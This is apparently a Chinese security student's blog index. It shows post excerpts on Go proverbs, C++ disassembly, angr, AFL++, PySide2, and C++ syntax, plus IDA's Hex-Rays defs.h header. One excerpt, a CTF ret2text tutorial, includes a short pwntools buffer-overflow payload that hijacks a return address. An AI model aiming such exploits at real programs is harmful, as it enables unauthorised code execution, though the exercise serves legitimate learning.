时间从来不语,却回答了很多问题


post @ 2022-06-09

前言

golang与传统相比,有许多有趣的特性。它们做到例如降低耦合、提高代码灵活性的效果。在学习过程中我总结了以下一些特性,它们体现了Go箴言的思想:

简单,诗意,简洁

  • 不要通过共享内存进行通信,通过通信共享内存

Don’t communicate by sharing memory, share memory by communicating.

  • 并发不是并行

Concurrency is not parallelism.

  • 通道编排;互斥体序列化

Channels orchestrate; mutexes serialize.

  • 接口越大,抽象就越弱
阅读全文


post @ 2022-05-18

基本ROP

参考地址:基本 ROP - CTF Wiki

ret2text

通过覆盖返回地址跳转到程序已有的某个代码地址(可以是各种危险函数或者gadgets

GDB动态调试,可以看到 esp 为 0xffffcd40,ebp 为 0xffffcdc8,同时 s 相对于 esp 的索引为 esp+0x1c,因此,我们可以推断

  • s 的地址为 0xffffcd5c
  • s 相对于 ebp 的偏移为 0x6c
  • s 相对于返回地址的偏移为 0x6c+4

payload:

1
2
3
4
5
6
7
##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()

ret2shellcode

覆盖返回地址,跳转到我们写入的shellcode地址(shellcode所在区域必须有可执行权限)

阅读全文


介绍

前面讲了一点类与结构体的反汇编分析,这篇简单介绍其构造函数与析构函数的相关知识。

构造函数和析构函数都是类中特殊的成员函数,构造函数支持重载,析构函数只能是一个无参函数,且他们都不可定义返回值。调用构造函数后,返回值为对象首地址,也就是this指针。

构造函数出现时机

对象定义时,构造函数同时调用。因此知道了对象的生命周期,其构造函数便可推断。我们按照生命周期不同分以下几种对象来讨论。

局部对象

编译器隐藏了构造函数的调用过程,我们试分析以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>

class Person {
public:
Person() { //无参构造函数
age = 20;
}
int age;
};

int main(int argc, char* argv[]) {
Person person; //类对象定义
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
.text:0000000140001530 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000140001530 public main
.text:0000000140001530 main proc near ; CODE XREF: __tmainCRTStartup+210↑p
.text:0000000140001530 ; DATA XREF: .pdata:000000014000506C↓o
.text:0000000140001530
.text:0000000140001530 var_4 = byte ptr -4
.text:0000000140001530 arg_0 = dword ptr 10h
.text:0000000140001530 arg_8 = qword ptr 18h
.text:0000000140001530
.text:0000000140001530 push rbp
.text:0000000140001531 mov rbp, rsp
.text:0000000140001534 sub rsp, 30h
.text:0000000140001538 mov [rbp+arg_0], ecx
.text:000000014000153B mov [rbp+arg_8], rdx
.text:000000014000153F call __main
.text:0000000140001544 lea rax, [rbp+var_4]
.text:0000000140001548 mov rcx, rax ; this
.text:000000014000154B call _ZN6PersonC1Ev ; Person::Person(void)
.text:0000000140001550 mov eax, 0
.text:0000000140001555 add rsp, 30h
.text:0000000140001559 pop rbp
.text:000000014000155A retn
.text:000000014000155A main endp


.text:0000000140002860 ; Person *__fastcall Person::Person(Person *__hidden this)
.text:0000000140002860 public _ZN6PersonC1Ev
.text:0000000140002860 _ZN6PersonC1Ev proc near ; CODE XREF: main+1B↑p
.text:0000000140002860 ; DATA XREF: .pdata:000000014000521C↓o
.text:0000000140002860
.text:0000000140002860 arg_0 = qword ptr 10h
.text:0000000140002860
.text:0000000140002860 push rbp
.text:0000000140002861 mov rbp, rsp
.text:0000000140002864 mov [rbp+arg_0], rcx
.text:0000000140002868 mov rax, [rbp+arg_0]
.text:000000014000286C mov dword ptr [rax], 14h
.text:0000000140002872 nop
.text:0000000140002873 pop rbp
.text:0000000140002874 retn
.text:0000000140002874 _ZN6PersonC1Ev endp

进入对象作用域时调用构造函数。因为是成员函数,同样使用cx寄存器传递this指针。调用结束后,将对象地址作为返回值。

阅读全文


介绍

angr 是一个多架构二进制分析工具包,具有执行动态符号执行(如 Mayhem、KLEE 等)和对二进制文件进行各种静态分析的能力。

乍一看它真正吸引人的地方是它的符号执行引擎。简言之,符号执行意味着在不实际执行程序的情况下,就可以分析哪些输入经历了哪些代码路径。最常见的例子就是一个程序根据输入的一个字符串跟自身生成的字符串作比较来打印一些东西。符号执行允许我们像对待方程一样分析一个程序,解这个方程然后告诉我们正确的输入。

有很多ctf writeup之类的东西写到它,但是从学习者的角度太看,这些远远不够。

如何安装

建议你使用一个全新的ubuntu20.04虚拟机,直接运行下面的命令安装python3与依赖、虚拟环境组件:

1
sudo apt install python3-dev libffi-dev build-essential virtualenvwrapper

如果安装失败,那么你可以按照下面的顺序从angr的官方仓库依次安装,它们也是angr的主要组成模块:

  1. claripy: 符号求解器的抽象
  2. archinfo: 用于描述各种体系结构
  3. pyvex: VEX IR的Python包装
  4. cle: 二进制文件加载器
  5. angr: 主程序

测试一个最简单的例子

例如有如下程序:

阅读全文


昨天改博客主题,改到三点改出个bug,今天中午解决了。如图:

解决:打开\themes\freemind.bithack\source\css\highlight.css,添加下面一行:

1
2
3
4
5
6
7
8
.highlight pre {
border: 0;
margin: 0;
padding: 0;
white-space: pre;
/* 隐藏滚动条 */
overflow: inherit;
}
阅读全文


介绍

前面的文章讨论了C++面向对象基础。现在我们知道,C++结构体与类只有默认访问控制的区别:publicprivate。并且是在编译期检查,当越权访问时,编译过程会检查此类错误并给予提示。那么对于C++的面向对象来讲,编译器是如何对其进行处理并生成二进制程序的?

(了解一件事物的原理,对它的了解就会很透彻)

对象的内存布局

创建结构体或类的实例也就是对象后,会为对象分配相应的内存空间。其实也就是一种变量,局部对象会在栈上分配,new或者malloc出来的会在堆上分配。对象的首地址即为对象的指针,从低地址开始存放对象的成员。从内存低地址到高地址按照定义的顺序存放。对象的大小只包含数据成员,成员函数属于执行代码,并不在对象的布局中。那么一个对象会占多大的空间呢?

空类

空类没有任何数据成员(包括虚表指针,后面会讲),理论上对象内存大小会为零。但是这样无法获取实例的地址,this指针也会失效。因此不能被实例化。因此没有数据成员会分配1字节的空间用于实例化,可以用来代表对象的指针,但是它不会被使用。

内存对齐

由于对齐的原因,对象成员不会像数组那样连续排列。数据类型不同占用空间不同,申请内存时会遵守一定的规则。C++通常对齐值默认为8,具体的对齐规则此处不作展开,请自行查找资料。

this指针

阅读全文


post @ 2022-04-25

安装AFL++

首先强烈建议新开一个20.04的虚拟机用来安装。

请查看此篇博客:

AFL++学习日志(一)开始Fuzz与crashes分析 - Mundi’s Space

在安装依赖这一步,请安装clang

获取源码这一步,请将仓库git到$HOME下并编译

make install之后再将文件夹添加到环境变量(以使用afl-clang-fast)

1
export PATH=$PATH:$HOME/AFLplusplus

要进行黑盒测试还需要安装qemu模块。进在目录下的 qemu-mode 文件夹中有构建脚本 build_qemu_support.sh,运行之即可安装。新版本会自动安装

阅读全文


环境

最好使用Python3.8以后的版本,并且更新pip版本。

PyQt5是第三方写的Qt的Python接口,诞生比较早,所以用的人多,文档丰富。PySide2是Qt官方为Python编写的接口库,2018年发布,虽然比较晚但毕竟是亲儿子,以后还是学它吧。

安装:

1
pip install pyside2

此过程会自动根据不同环境安装Qt Designer到python目录/site-packages/PySide2文件夹下。

Qt Designer

保存设计好的ui文件,打开查看:

阅读全文


本文只是用来熟悉C++的面向对象语法,前提是学过别的

内容概括

类和对象

函数可在类或结构体中直接定义,也可以只进行声明,在类或结构体外再用命名空间进行定义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 在内部定义
class Box {
public:
double length; // 长度
double breadth; // 宽度
double height; // 高度

double getVolume(void) {
return length * breadth * height;
}
};

// 在外部定义
class Box {
public:
double length; // 长度
double breadth; // 宽度
double height; // 高度
// 成员函数声明
double get(void);
void set( double len, double bre, double hei );
};

// 成员函数定义
double Box::get(void) {
return length * breadth * height;
}

void Box::set( double len, double bre, double hei) {
length = len;
breadth = bre;
height = hei;
}

其他成员函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 普通成员函数
bool student::set(int a)

// 构造函数
void student::student()

// 带参数(可重载)
void student::student(int a, string b)

// 析构函数,当对象超出作用域或被调用 delete 显式销毁时自动调用(常用在保证堆内存被释放)
student::~student()

// 常成员函数,只读不写,保护内部
bool student::read() const

// 静态成员函数,和别的面向对象语言类似,不依赖于某个实例
static int count()

// 拷贝构造函数
// ...

派生(继承)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 这儿有个父类,学生吧,经典例子了
class Student {
public:
string getName();
Student(string a);
// 这里不用private关键字,原因看后面
protected:
string name;
};

// 继承出个子类,就叫本科生吧
// public Student 代表公有派生
class UnderGraduate : public Student {
public:
// 本科生的课程属性
string course;
}

// 再继承一个,研究生
class PostGraduate : public Student {
public:
// 研究生和本科生不一样了,搞研究去了
string research;
}
阅读全文


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
/*

This file contains definitions used by the Hex-Rays decompiler output.
It has type definitions and convenience macros to make the
output more readable.

Copyright (c) 2007-2011 Hex-Rays

*/

#if defined(__GNUC__)
typedef long long ll;
typedef unsigned long long ull;
#define __int64 long long
#define __int32 int
#define __int16 short
#define __int8 char
#define MAKELL(num) num ## LL
#define FMT_64 "ll"
#elif defined(_MSC_VER)
typedef __int64 ll;
typedef unsigned __int64 ull;
#define MAKELL(num) num ## i64
#define FMT_64 "I64"
#elif defined (__BORLANDC__)
typedef __int64 ll;
typedef unsigned __int64 ull;
#define MAKELL(num) num ## i64
#define FMT_64 "L"
#else
#error "unknown compiler"
#endif
typedef unsigned int uint;
typedef unsigned char uchar;
typedef unsigned short ushort;
typedef unsigned long ulong;

typedef char int8;
typedef signed char sint8;
typedef unsigned char uint8;
typedef short int16;
typedef signed short sint16;
typedef unsigned short uint16;
typedef int int32;
typedef signed int sint32;
typedef unsigned int uint32;
typedef ll int64;
typedef ll sint64;
typedef ull uint64;

// Partially defined types:
#define _BYTE uint8
#define _WORD uint16
#define _DWORD uint32
#define _QWORD uint64
#if !defined(_MSC_VER)
#define _LONGLONG __int128
#endif

#ifndef _WINDOWS_
typedef int8 BYTE;
typedef int16 WORD;
typedef int32 DWORD;
typedef int32 LONG;
#endif
typedef int64 QWORD;
#ifndef __cplusplus
typedef int bool; // we want to use bool in our C programs
#endif

// Some convenience macros to make partial accesses nicer
// first unsigned macros:
#define LOBYTE(x) (*((_BYTE*)&(x))) // low byte
#define LOWORD(x) (*((_WORD*)&(x))) // low word
#define LODWORD(x) (*((_DWORD*)&(x))) // low dword
#define HIBYTE(x) (*((_BYTE*)&(x)+1))
#define HIWORD(x) (*((_WORD*)&(x)+1))
#define HIDWORD(x) (*((_DWORD*)&(x)+1))
#define BYTEn(x, n) (*((_BYTE*)&(x)+n))
#define WORDn(x, n) (*((_WORD*)&(x)+n))
#define BYTE1(x) BYTEn(x, 1) // byte 1 (counting from 0)
#define BYTE2(x) BYTEn(x, 2)
#define BYTE3(x) BYTEn(x, 3)
#define BYTE4(x) BYTEn(x, 4)
#define BYTE5(x) BYTEn(x, 5)
#define BYTE6(x) BYTEn(x, 6)
#define BYTE7(x) BYTEn(x, 7)
#define BYTE8(x) BYTEn(x, 8)
#define BYTE9(x) BYTEn(x, 9)
#define BYTE10(x) BYTEn(x, 10)
#define BYTE11(x) BYTEn(x, 11)
#define BYTE12(x) BYTEn(x, 12)
#define BYTE13(x) BYTEn(x, 13)
#define BYTE14(x) BYTEn(x, 14)
#define BYTE15(x) BYTEn(x, 15)
#define WORD1(x) WORDn(x, 1)
#define WORD2(x) WORDn(x, 2) // third word of the object, unsigned
#define WORD3(x) WORDn(x, 3)
#define WORD4(x) WORDn(x, 4)
#define WORD5(x) WORDn(x, 5)
#define WORD6(x) WORDn(x, 6)
#define WORD7(x) WORDn(x, 7)

// now signed macros (the same but with sign extension)
#define SLOBYTE(x) (*((int8*)&(x)))
#define SLOWORD(x) (*((int16*)&(x)))
#define SLODWORD(x) (*((int32*)&(x)))
#define SHIBYTE(x) (*((int8*)&(x)+1))
#define SHIWORD(x) (*((int16*)&(x)+1))
#define SHIDWORD(x) (*((int32*)&(x)+1))
#define SBYTEn(x, n) (*((int8*)&(x)+n))
#define SWORDn(x, n) (*((int16*)&(x)+n))
#define SBYTE1(x) SBYTEn(x, 1)
#define SBYTE2(x) SBYTEn(x, 2)
#define SBYTE3(x) SBYTEn(x, 3)
#define SBYTE4(x) SBYTEn(x, 4)
#define SBYTE5(x) SBYTEn(x, 5)
#define SBYTE6(x) SBYTEn(x, 6)
#define SBYTE7(x) SBYTEn(x, 7)
#define SBYTE8(x) SBYTEn(x, 8)
#define SBYTE9(x) SBYTEn(x, 9)
#define SBYTE10(x) SBYTEn(x, 10)
#define SBYTE11(x) SBYTEn(x, 11)
#define SBYTE12(x) SBYTEn(x, 12)
#define SBYTE13(x) SBYTEn(x, 13)
#define SBYTE14(x) SBYTEn(x, 14)
#define SBYTE15(x) SBYTEn(x, 15)
#define SWORD1(x) SWORDn(x, 1)
#define SWORD2(x) SWORDn(x, 2)
#define SWORD3(x) SWORDn(x, 3)
#define SWORD4(x) SWORDn(x, 4)
#define SWORD5(x) SWORDn(x, 5)
#define SWORD6(x) SWORDn(x, 6)
#define SWORD7(x) SWORDn(x, 7)


// Helper functions to represent some assembly instructions.

#ifdef __cplusplus

// Fill memory block with an integer value
inline void memset32(void *ptr, uint32 value, int count)
{
uint32 *p = (uint32 *)ptr;
for ( int i=0; i < count; i++ )
*p++ = value;
}

// Generate a reference to pair of operands
template<class T> int16 __PAIR__( int8 high, T low) { return ((( int16)high) << sizeof(high)*8) | uint8(low); }
template<class T> int32 __PAIR__( int16 high, T low) { return ((( int32)high) << sizeof(high)*8) | uint16(low); }
template<class T> int64 __PAIR__( int32 high, T low) { return ((( int64)high) << sizeof(high)*8) | uint32(low); }
template<class T> uint16 __PAIR__(uint8 high, T low) { return (((uint16)high) << sizeof(high)*8) | uint8(low); }
template<class T> uint32 __PAIR__(uint16 high, T low) { return (((uint32)high) << sizeof(high)*8) | uint16(low); }
template<class T> uint64 __PAIR__(uint32 high, T low) { return (((uint64)high) << sizeof(high)*8) | uint32(low); }

// rotate left
template<class T> T __ROL__(T value, uint count)
{
const uint nbits = sizeof(T) * 8;
count %= nbits;

T high = value >> (nbits - count);
value <<= count;
value |= high;
return value;
}

// rotate right
template<class T> T __ROR__(T value, uint count)
{
const uint nbits = sizeof(T) * 8;
count %= nbits;

T low = value << (nbits - count);
value >>= count;
value |= low;
return value;
}

// carry flag of left shift
template<class T> int8 __MKCSHL__(T value, uint count)
{
const uint nbits = sizeof(T) * 8;
count %= nbits;

return (value >> (nbits-count)) & 1;
}

// carry flag of right shift
template<class T> int8 __MKCSHR__(T value, uint count)
{
return (value >> (count-1)) & 1;
}

// sign flag
template<class T> int8 __SETS__(T x)
{
if ( sizeof(T) == 1 )
return int8(x) < 0;
if ( sizeof(T) == 2 )
return int16(x) < 0;
if ( sizeof(T) == 4 )
return int32(x) < 0;
return int64(x) < 0;
}

// overflow flag of subtraction (x-y)
template<class T, class U> int8 __OFSUB__(T x, U y)
{
if ( sizeof(T) < sizeof(U) )
{
U x2 = x;
int8 sx = __SETS__(x2);
return (sx ^ __SETS__(y)) & (sx ^ __SETS__(x2-y));
}
else
{
T y2 = y;
int8 sx = __SETS__(x);
return (sx ^ __SETS__(y2)) & (sx ^ __SETS__(x-y2));
}
}

// overflow flag of addition (x+y)
template<class T, class U> int8 __OFADD__(T x, U y)
{
if ( sizeof(T) < sizeof(U) )
{
U x2 = x;
int8 sx = __SETS__(x2);
return ((1 ^ sx) ^ __SETS__(y)) & (sx ^ __SETS__(x2+y));
}
else
{
T y2 = y;
int8 sx = __SETS__(x);
return ((1 ^ sx) ^ __SETS__(y2)) & (sx ^ __SETS__(x+y2));
}
}

// carry flag of subtraction (x-y)
template<class T, class U> int8 __CFSUB__(T x, U y)
{
int size = sizeof(T) > sizeof(U) ? sizeof(T) : sizeof(U);
if ( size == 1 )
return uint8(x) < uint8(y);
if ( size == 2 )
return uint16(x) < uint16(y);
if ( size == 4 )
return uint32(x) < uint32(y);
return uint64(x) < uint64(y);
}

// carry flag of addition (x+y)
template<class T, class U> int8 __CFADD__(T x, U y)
{
int size = sizeof(T) > sizeof(U) ? sizeof(T) : sizeof(U);
if ( size == 1 )
return uint8(x) > uint8(x+y);
if ( size == 2 )
return uint16(x) > uint16(x+y);
if ( size == 4 )
return uint32(x) > uint32(x+y);
return uint64(x) > uint64(x+y);
}

#else
// The following definition is not quite correct because it always returns
// uint64. The above C++ functions are good, though.
#define __PAIR__(high, low) (((uint64)(high)<<sizeof(high)*8) | low)
// For C, we just provide macros, they are not quite correct.
#define __ROL__(x, y) __rotl__(x, y) // Rotate left
#define __ROR__(x, y) __rotr__(x, y) // Rotate right
#define __CFSHL__(x, y) invalid_operation // Generate carry flag for (x<<y)
#define __CFSHR__(x, y) invalid_operation // Generate carry flag for (x>>y)
#define __CFADD__(x, y) invalid_operation // Generate carry flag for (x+y)
#define __CFSUB__(x, y) invalid_operation // Generate carry flag for (x-y)
#define __OFADD__(x, y) invalid_operation // Generate overflow flag for (x+y)
#define __OFSUB__(x, y) invalid_operation // Generate overflow flag for (x-y)
#endif

// No definition for rcl/rcr because the carry flag is unknown
#define __RCL__(x, y) invalid_operation // Rotate left thru carry
#define __RCR__(x, y) invalid_operation // Rotate right thru carry
#define __MKCRCL__(x, y) invalid_operation // Generate carry flag for a RCL
#define __MKCRCR__(x, y) invalid_operation // Generate carry flag for a RCR
#define __SETP__(x, y) invalid_operation // Generate parity flag for (x-y)

// In the decompilation listing there are some objects declarared as _UNKNOWN
// because we could not determine their types. Since the C compiler does not
// accept void item declarations, we replace them by anything of our choice,
// for example a char:

#define _UNKNOWN char

#ifdef _MSC_VER
#define snprintf _snprintf
#define vsnprintf _vsnprintf
#endif
阅读全文
⬆︎TOP